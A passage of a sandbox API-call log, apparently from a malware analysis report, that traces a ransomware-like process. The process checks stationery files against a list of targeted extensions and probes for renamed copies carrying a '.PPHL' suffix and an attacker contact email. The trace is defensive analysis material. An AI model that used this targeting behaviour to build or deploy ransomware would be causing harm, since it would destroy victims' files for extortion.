-1 [0074.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.652] lstrlenW (lpString=".doc") returned 4 [0074.652] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString=".docx") returned 5 [0074.652] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0074.652] lstrlenW (lpString=".pdf") returned 4 [0074.652] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0074.652] lstrlenW (lpString=".xls") returned 4 [0074.652] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0074.652] lstrlenW (lpString=".xlsx") returned 5 [0074.653] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0074.653] lstrlenW (lpString=".ppt") returned 4 [0074.653] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0074.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.653] lstrlenW (lpString=".zip") returned 4 [0074.653] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0074.653] lstrlenW (lpString=".rar") returned 4 [0074.653] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0074.653] lstrlenW (lpString=".bz2") returned 4 [0074.653] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0074.653] lstrlenW (lpString=".7z") returned 3 [0074.653] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0074.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.653] lstrlenW (lpString=".dbf") returned 4 [0074.653] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0074.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.653] lstrlenW (lpString=".1cd") returned 4 [0074.653] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0074.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0074.653] lstrlenW (lpString=".jpg") returned 4 [0074.653] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0074.653] lstrcmpiW (lpString1=".emf", lpString2=".PPHL") returned -1 [0074.653] lstrlenW (lpString="Genko_2.emf") returned 11 [0074.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.945] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=10340) returned 1 [0074.945] CloseHandle (hObject=0x1f0) returned 1 [0074.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0074.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.945] lstrlenW (lpString=".doc") returned 4 [0074.945] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0074.945] lstrlenW (lpString=".docx") returned 5 [0074.945] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0074.945] lstrlenW (lpString=".pdf") returned 4 [0074.945] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0074.945] lstrlenW (lpString=".xls") returned 4 [0074.945] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0074.945] lstrlenW (lpString=".xlsx") returned 5 [0074.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0074.946] lstrlenW (lpString=".ppt") returned 4 [0074.946] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0074.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.946] lstrlenW (lpString=".zip") returned 4 [0074.946] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0074.946] lstrlenW (lpString=".rar") returned 4 [0074.946] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0074.946] lstrlenW (lpString=".bz2") returned 4 [0074.946] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0074.946] lstrlenW (lpString=".7z") returned 3 [0074.946] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0074.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.946] lstrlenW (lpString=".dbf") returned 4 [0074.946] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0074.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.946] lstrlenW (lpString=".1cd") returned 4 [0074.946] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0074.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.946] lstrlenW (lpString=".jpg") returned 4 [0074.946] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0074.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.946] lstrlenW (lpString=".doc") returned 4 [0074.946] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0074.946] lstrlenW (lpString=".docx") returned 5 [0074.946] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0074.946] lstrlenW (lpString=".pdf") returned 4 [0074.947] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0074.947] lstrlenW (lpString=".xls") returned 4 [0074.947] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0074.947] lstrlenW (lpString=".xlsx") returned 5 [0074.947] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0074.947] lstrlenW (lpString=".ppt") returned 4 [0074.947] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0074.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.947] lstrlenW (lpString=".zip") returned 4 [0074.947] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0074.947] lstrlenW (lpString=".rar") returned 4 [0074.947] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0074.947] lstrlenW (lpString=".bz2") returned 4 [0074.947] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0074.947] lstrlenW (lpString=".7z") returned 3 [0074.947] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0074.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.947] lstrlenW (lpString=".dbf") returned 4 [0074.947] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0074.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.947] lstrlenW (lpString=".1cd") returned 4 [0074.947] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0074.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0074.947] lstrlenW (lpString=".jpg") returned 4 [0074.947] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0074.948] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.948] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0074.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.948] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=3981) returned 1 [0074.948] CloseHandle (hObject=0x1f0) returned 1 [0074.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0074.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.948] lstrlenW (lpString=".doc") returned 4 [0074.949] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.949] lstrlenW (lpString=".docx") returned 5 [0074.949] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0074.949] lstrlenW (lpString=".pdf") returned 4 [0074.949] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.949] lstrlenW (lpString=".xls") returned 4 [0074.949] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.949] lstrlenW (lpString=".xlsx") returned 5 [0074.949] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0074.949] lstrlenW (lpString=".ppt") returned 4 [0074.949] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.949] lstrlenW (lpString=".zip") returned 4 [0074.949] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.949] lstrlenW (lpString=".rar") returned 4 [0074.949] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.949] lstrlenW (lpString=".bz2") returned 4 [0074.949] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.949] lstrlenW (lpString=".7z") returned 3 [0074.949] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.949] lstrlenW (lpString=".dbf") returned 4 [0074.949] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.949] lstrlenW (lpString=".1cd") returned 4 [0074.949] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.949] lstrlenW (lpString=".jpg") returned 4 [0074.949] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.950] lstrlenW (lpString=".doc") returned 4 [0074.950] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.950] lstrlenW (lpString=".docx") returned 5 [0074.950] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0074.950] lstrlenW (lpString=".pdf") returned 4 [0074.950] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.950] lstrlenW (lpString=".xls") returned 4 [0074.950] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.950] lstrlenW (lpString=".xlsx") returned 5 [0074.950] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0074.950] lstrlenW (lpString=".ppt") returned 4 [0074.950] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.950] lstrlenW (lpString=".zip") returned 4 [0074.950] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.950] lstrlenW (lpString=".rar") returned 4 [0074.950] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.950] lstrlenW (lpString=".bz2") returned 4 [0074.950] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.950] lstrlenW (lpString=".7z") returned 3 [0074.950] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.950] lstrlenW (lpString=".dbf") returned 4 [0074.950] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.950] lstrlenW (lpString=".1cd") returned 4 [0074.950] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0074.951] lstrlenW (lpString=".jpg") returned 4 [0074.951] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.951] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.951] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18 [0074.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.951] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=5115) returned 1 [0074.951] CloseHandle (hObject=0x1f0) returned 1 [0074.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0074.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.951] lstrlenW (lpString=".doc") returned 4 [0074.951] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.951] lstrlenW (lpString=".docx") returned 5 [0074.952] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0074.952] lstrlenW (lpString=".pdf") returned 4 [0074.952] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.952] lstrlenW (lpString=".xls") returned 4 [0074.952] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.952] lstrlenW (lpString=".xlsx") returned 5 [0074.952] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0074.952] lstrlenW (lpString=".ppt") returned 4 [0074.952] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.952] lstrlenW (lpString=".zip") returned 4 [0074.952] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.952] lstrlenW (lpString=".rar") returned 4 [0074.952] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.952] lstrlenW (lpString=".bz2") returned 4 [0074.952] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.952] lstrlenW (lpString=".7z") returned 3 [0074.952] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.952] lstrlenW (lpString=".dbf") returned 4 [0074.952] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.952] lstrlenW (lpString=".1cd") returned 4 [0074.952] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.952] lstrlenW (lpString=".jpg") returned 4 [0074.952] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.952] lstrlenW (lpString=".doc") returned 4 [0074.952] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.952] lstrlenW (lpString=".docx") returned 5 [0074.952] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0074.952] lstrlenW (lpString=".pdf") returned 4 [0074.952] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.953] lstrlenW (lpString=".xls") returned 4 [0074.953] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.953] lstrlenW (lpString=".xlsx") returned 5 [0074.953] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0074.953] lstrlenW (lpString=".ppt") returned 4 [0074.953] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.953] lstrlenW (lpString=".zip") returned 4 [0074.953] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.953] lstrlenW (lpString=".rar") returned 4 [0074.953] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.953] lstrlenW (lpString=".bz2") returned 4 [0074.953] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.953] lstrlenW (lpString=".7z") returned 3 [0074.953] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.953] lstrlenW (lpString=".dbf") returned 4 [0074.953] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.953] lstrlenW (lpString=".1cd") returned 4 [0074.953] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0074.953] lstrlenW (lpString=".jpg") returned 4 [0074.953] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.953] lstrcmpiW (lpString1=".jpg", lpString2=".PPHL") returned -1 [0074.953] lstrlenW (lpString="Psychedelic.jpg") returned 15 [0074.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.954] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=14049) returned 1 [0074.954] CloseHandle (hObject=0x1f0) returned 1 [0074.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0074.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.955] lstrlenW (lpString=".doc") returned 4 [0074.955] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.955] lstrlenW (lpString=".docx") returned 5 [0074.955] lstrcmpiW (lpString1=".docx", lpString2="c.jpg") returned -1 [0074.955] lstrlenW (lpString=".pdf") returned 4 [0074.955] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.955] lstrlenW (lpString=".xls") returned 4 [0074.955] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.955] lstrlenW (lpString=".xlsx") returned 5 [0074.955] lstrcmpiW (lpString1=".xlsx", lpString2="c.jpg") returned -1 [0074.955] lstrlenW (lpString=".ppt") returned 4 [0074.955] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.955] lstrlenW (lpString=".zip") returned 4 [0074.955] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.955] lstrlenW (lpString=".rar") returned 4 [0074.955] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.955] lstrlenW (lpString=".bz2") returned 4 [0074.955] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.955] lstrlenW (lpString=".7z") returned 3 [0074.955] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.956] lstrlenW (lpString=".dbf") returned 4 [0074.956] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.956] lstrlenW (lpString=".1cd") returned 4 [0074.956] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.956] lstrlenW (lpString=".jpg") returned 4 [0074.956] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.956] lstrlenW (lpString=".doc") returned 4 [0074.956] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0074.956] lstrlenW (lpString=".docx") returned 5 [0074.956] lstrcmpiW (lpString1=".docx", lpString2="c.jpg") returned -1 [0074.956] lstrlenW (lpString=".pdf") returned 4 [0074.956] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0074.956] lstrlenW (lpString=".xls") returned 4 [0074.956] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0074.956] lstrlenW (lpString=".xlsx") returned 5 [0074.956] lstrcmpiW (lpString1=".xlsx", lpString2="c.jpg") returned -1 [0074.956] lstrlenW (lpString=".ppt") returned 4 [0074.956] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.956] lstrlenW (lpString=".zip") returned 4 [0074.956] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0074.956] lstrlenW (lpString=".rar") returned 4 [0074.956] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0074.956] lstrlenW (lpString=".bz2") returned 4 [0074.956] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0074.956] lstrlenW (lpString=".7z") returned 3 [0074.956] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.956] lstrlenW (lpString=".dbf") returned 4 [0074.956] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0074.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.957] lstrlenW (lpString=".1cd") returned 4 [0074.957] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0074.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0074.957] lstrlenW (lpString=".jpg") returned 4 [0074.957] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0074.957] lstrcmpiW (lpString1=".htm", lpString2=".PPHL") returned -1 [0074.957] lstrlenW (lpString="Roses.htm") returned 9 [0074.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.958] GetFileSizeEx (in: hFile=0x1f0, 